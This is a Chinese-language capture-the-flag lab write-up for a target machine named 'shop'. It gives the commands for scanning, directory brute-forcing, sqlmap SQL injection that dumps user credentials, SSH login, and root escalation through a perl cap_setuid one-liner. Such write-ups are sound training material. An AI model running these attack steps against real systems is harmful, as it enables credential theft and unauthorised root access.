shop
前期踩点
扫描存活主机,40
是靶机
1 | nmap -sP 192.168.56.0/24 |
扫描端口,指定10000
速率
1 | nmap -sT -min-rate 10000 -p- 192.168.56.40 |
扫描主机信息以及服务信息
1 | nmap -A -T3 -O -p 22,80 192.168.56.40 |
漏洞扫描,扫出来一些令人感兴趣的文件夹,以及登陆页面
1 | nmap -script=vuln -p 22,80 192.168.56.40 |
访问HTTP
服务,并查看指纹信息
主页上的连接全是无效的,从nmap
枚举出来文件入手
WEB渗透
访问login.php
扫描一下目录
1 | dirsearch -u 192.168.56.40 -x 403,404,429 -e php,zip,txt |
1 | gobuster dir -u http://192.168.56.40/administrator -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 404,403,502,429 --no-error -x php,asp,zip,txt |
尝试进行暴力破解,也无果
抓包并复制内容保存到packet
使用sqlmap
尝试进行SQL注入
1 | sqlmap -r pakcet --batch |
SQL注入
存在SQL注入,延时注入,直接将数据Dump下来
获取当前数据库
1 | sqlmap -r packet --batch --current-db |
获取当前数据库Webapp
的数据表
1 | sqlmap -r packet --batch -D Webapp --tables |
获取Users
数据表字段名
1 | sqlmap -r packet --batch -D Webapp -T Users --columns |
我们感兴趣的只有username
和password
,将其Dump下来
1 | sqlmap -r packet --batch -D Webapp -T Users --dump |
得到四对账户密码,进行后台登录,都可以进去,但是没有任何功能
可以将得到用户尝试进行SSH登录
最后,bart用户可以登陆进去
提权
当前目录下存在user.txt
,就是user
的旗帜
1 | bart :~$ cat user.txt |
信息收集一波
1 | bart :~$ id |
查看存在suid
的程序
1 | bart2>/dev/null :~$ find / -perm -u=s -type f |
查看权限,提示未找到,那么就不能使用sudo
提权了
1 | bart :~/alternatives$ sudo -l |
上传Linpea进行信息收集,https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
1 | cd /tmp |
收集到perl
拥有奇怪的权限
1 | ╚ Parent process capabilities |
cap_setuid+ep
是 Linux capabilities(能力)的一个权限,具体含义如下:
- **
cap_setuid
**:允许进程更改其自身的 UID(User ID),相当于setuid()
系统调用的权限。这意味着即使进程不是 root 用户运行,它仍然可以更改其 UID。 - **
+ep
**:e
(Effective):进程可以实际使用cap_setuid
。p
(Permitted):进程拥有该能力。
可以更改其UID
,我们尝试将其改为root
,在https://gtfobins.github.io/gtfobins/perl/中可以找到利用方法
进行提权,获得root权限
1 | bart'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' :/tmp$ perl -e |
读取root.txt
1 | # cat /root/root.txt |